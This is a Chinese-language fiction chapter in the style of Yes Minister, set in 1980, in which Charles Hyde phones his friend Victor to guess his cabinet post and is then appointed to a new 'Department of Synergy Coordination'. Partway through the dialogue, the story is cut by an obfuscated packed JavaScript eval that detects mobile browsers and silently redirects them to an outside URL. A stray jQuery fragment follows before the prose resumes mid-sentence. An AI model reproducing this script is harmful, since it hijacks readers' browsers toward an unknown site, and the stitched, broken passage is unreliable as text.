【序幕】S01E00 《同义反复》（Tautological）
1980年1月18日，星期五。
雾，一层一层地从泰晤士河面爬上白厅街，在古老建筑的石墙与檐口之间翻卷，无声地包裹了整座政府区。
1979年那个被称作“不满之冬”的凛冽记忆尚未完全消散，1980年伊始的第三次悬浮议会，又给这座权力中枢蒙上了一层新的、疲惫的阴霾。保守党306席，工党285席。自由党异军突起的27席，成了天平上那枚微妙的砝码。
保守党戴维·诺斯科特与自由党理查德·特里维廉在唐宁街十号签署联合协议的照片，占据了次日《泰晤士报》头版下方不大不小的位置，标题透着谨慎的乐观。
必要，而非热忱。（Necessity, not zeal.）
评论人把这一切概括为一句冷冰冰的格言，仿佛白厅那台精密而陈旧的机器只在被逼无奈时才会动一下齿轮。
查尔斯·海德（Charles Hyde）没看报纸。
他正对着一部老旧的黑色转盘电话踱步，螺旋电话线在脚下缠成了焦虑的几何图形。
他知道自己会在这次权力洗牌中获得一个席位。
问题是，哪一个？
这悬念像一根鱼刺，卡在查尔斯政治抱负的喉咙里，不上不下。
短暂的纠结后，他拨通了去年圣诞夜聚会上结识的友人维克托（Victor）的电话。
虽然相识的时间不长，但他们之间棋逢对手的几次智力交锋，让查尔斯觉得两人已足够捻熟，可以分享一点无伤大雅的抱怨。
“维克（Vic）。”他刻意让自己的语调听起来轻松，“你说理查德那家伙会把我塞到哪个角落去积灰？”
“查理（Charlie）？”电话线另一端的声音，透着一种被强行拽离宁静的疲惫，“容我提醒你（I feelpelled to remind you.），决定你职务的人是首相，而不是副首相。”但他还是温和而精确的纠正道。
“哦，省省你那套繁文缛节吧，维克托（Oh, spare me the protocol, Victor.）。我知道决定我职务的人是PM，授予我职务的人是女王。”查尔斯让步得毫无诚意，他从旁边拖了张椅子，又把黑色转盘电话往身前拉了一寸，“这次别扯远，来帮我分析分析，用你的‘观察者（Observer）’视角。你觉得理查德会替我从PM那儿‘争取（wangle）’到什么？他总得给我弄点像样的（decent），对吧？总不能让我这老狐狸去管文件归档？”
“查理。”对面的人似乎是叹了口气，“你已经四十一岁了，我想年岁赋予人的……不该仅仅是身体上的成熟。”
而查尔斯置若罔闻，自顾自地推演，思绪继续沿着自己的轨道狂奔：“先让我们试试排除法。首先，财政、内政、外交、国防——这些核心的红盒子，保守党绝不可能放到我们手上，想都别想，门都没有。（Out of the question. Not a hope. Door firmly shut.）”
“‘我们’？”对面敏锐地捕捉到了这个代词。
“请允许我纠正。（If I may offer a correction.）”他的声音透着对查尔斯一贯的无奈和刻意的疏离，“我并非自由党员，我不站任何党派（I take no whip.），我持中立观点（I take the crossbench view.）。”他顿了顿，语气加重了一分，如同放下一个无形的句号：“而且……某些想法（sentiments），最好停留在合适的位置。（Best kept under one''s hat.）”
“看在上帝的份上（For God''s sake.），维克！这只是通私人电话，MI5可没那闲工夫监听两个老家伙闲扯（bugging two codgers in mid-prattle）。”查尔斯不以为然地挥了挥手，尽管对方看不见。
话筒里传来一阵意味深长的沉默（a pause heavy with unspoken caution）。
“我想……”这话带着某种近乎宿命的预言感，低沉而清晰：“你未来的常任秘书会不厌其烦、不遗余力地向你灌输谨言慎行的艺术（The art of discretion），那将成为你的……入职必修课（It will be quite the... induction.），一场漫长而必要的……熏陶。（A protracted and necessary... immersion.）”
“那真是令人期待的入门课……所以还剩下什么？”查尔斯扯回话题，继续着他的独角戏。
“教育大臣？可能性微乎其微（Not a cat in hell''s chance.）。能源或者工业部？眼下怕是烫手山芋（rather hot potatoes）。苏格兰或者威尔士事务大臣的位置？或许会象征性地划给（tossed to）自由党，但总不至于打发我去管那些吧？至少别是北爱尔兰。我的天（My God.）！”他的声音陡然拔高，“总不能是农业、渔业及食品部吧？难道要我去安抚愤怒的农夫，或者和忧郁的鳕鱼谈判？虽然现在鳕鱼或许更倾向找国防或者外交大臣诉苦（lobby）。”
一声带着克制的疲惫的轻叹。
“查尔斯。”那人的声音透着一种被耗尽后的奇异平静，“你打电话给我，该不会就为了找个会喘气的树洞（sounding board），听你复述内阁大臣名录吧？”
电话线两端陷入沉默，话筒里只剩下电流的滋滋声。
“Good Lord…”他的声音少见的带上了难以置信，“你真是为了这个才打给我？在星期六的……这个时辰？”
“For pity''s sake.”近乎恳求的语气，或者说，是一种极度克制的命令，“放过我吧，也放下你的话筒，给10号的电话预留一条干净的线路（Spare me—and spare No.10 the busy line.）。我想你也不希望首相第一次传唤他的新大臣时，就遇上占线的忙音吧？那会是个……令人遗憾的开端（an inauspicious beginning）。”
“他可以稍后再拨，或者等我打回去。”察觉到另一头再度沉默，查尔斯连忙找补：“这只是个玩笑。”
“我装了两部分机电话。”他接着补充，仿佛这个小小的技术便利能奇迹般的化解所有难题。
“查理。”对方把他的名字唤得像一声更深的叹息
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294762|182690||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，“我想你马上就会得到通知了。”
话音刚落，一阵电话铃声尖锐地响起。
查尔斯说了声“稍等”，将话筒搁在桌面，抄起另一部电话的听筒：“这里是查尔斯·海德……是的，首相（Yes, Prime Minister.)……当然，深感荣幸（Naturally, deeply honoured.）……乐意为您效劳（At your service.）……好的，我明白了（Right, Understood.)。”
电话挂断。
查尔斯挂断电话，他在原地愣了片刻，才将话筒放回座机，又拿起连着维克托的那部：“维克，你的政治嗅觉简直神乎其神（uncanny），时间掐得分秒不差。虽然我不知道你在哪高就——但我真该劝你来竞选议员，你准是个一流的大臣。（You’d be a first-class Minister.）”
“那但愿别发生。（Perish the thought.）”电话那头的声音带着些难以捉摸的玩味，仿佛在品味一个有趣的悖论，“‘狐狸查理（Charlie Foxy）’才更合适下议院那片……丛林（the Greenwood of Westminster）。我的位置……在别处（My place lies… elsewhere.）。看起来，你的去处不在你演练的名录上？至少不是‘鳕鱼部’的‘鳕鱼大臣’（Cod Minister）。”
“一个……闻所未闻的部门。”查尔斯的声音有些飘忽。
“首相设立了一个新的内阁部门安置你。”对面用的是陈述句，而非疑问句，语气笃定得如同宣读一份早已拟好、只待签发的文件。
“首相设立了一个新的内阁部门安置我……”查尔斯还有些愣神，先是重复，突然反应过来，“等等，你怎么知道是新部门？”
“那么——”对面直接忽略了问题，声音平稳无波，听不出任何情绪：“它的名目？”
“协同协调部（Department of Synergy Coordination）。”查尔斯回答，这回轮到他叹气了，“古怪透顶的名字，协同（synergy）？协调（coordination）？令人费解的同义反复（a tautological monstrosity）。”
“往好处想，我至少暂时应该不用赶火车去加的夫或者爱丁堡了。”他带着点自嘲的意味，“在收到我新部门办公室装修好的通知之前，我应该能在家蹲到腿麻（kick my heels here until they go numb）。”
“查理——不，海德大臣。不会耽搁太久的。（Charlie— No, Minister Hyde. It won''t take long.）”那人意味深长地顿了顿，称谓的转换带着些不易察觉的正式与距离感，“你的……常任秘书会以他特有的高效料理妥当。（Your… Permanent Secretary will see to it with characteristic efficiency.）”
他的声音里透着不容置疑的笃定：“对此，我毫不怀疑。（Of that, I have no doubt.）”
线路干净地断了，暖气里的嗡鸣占据房间。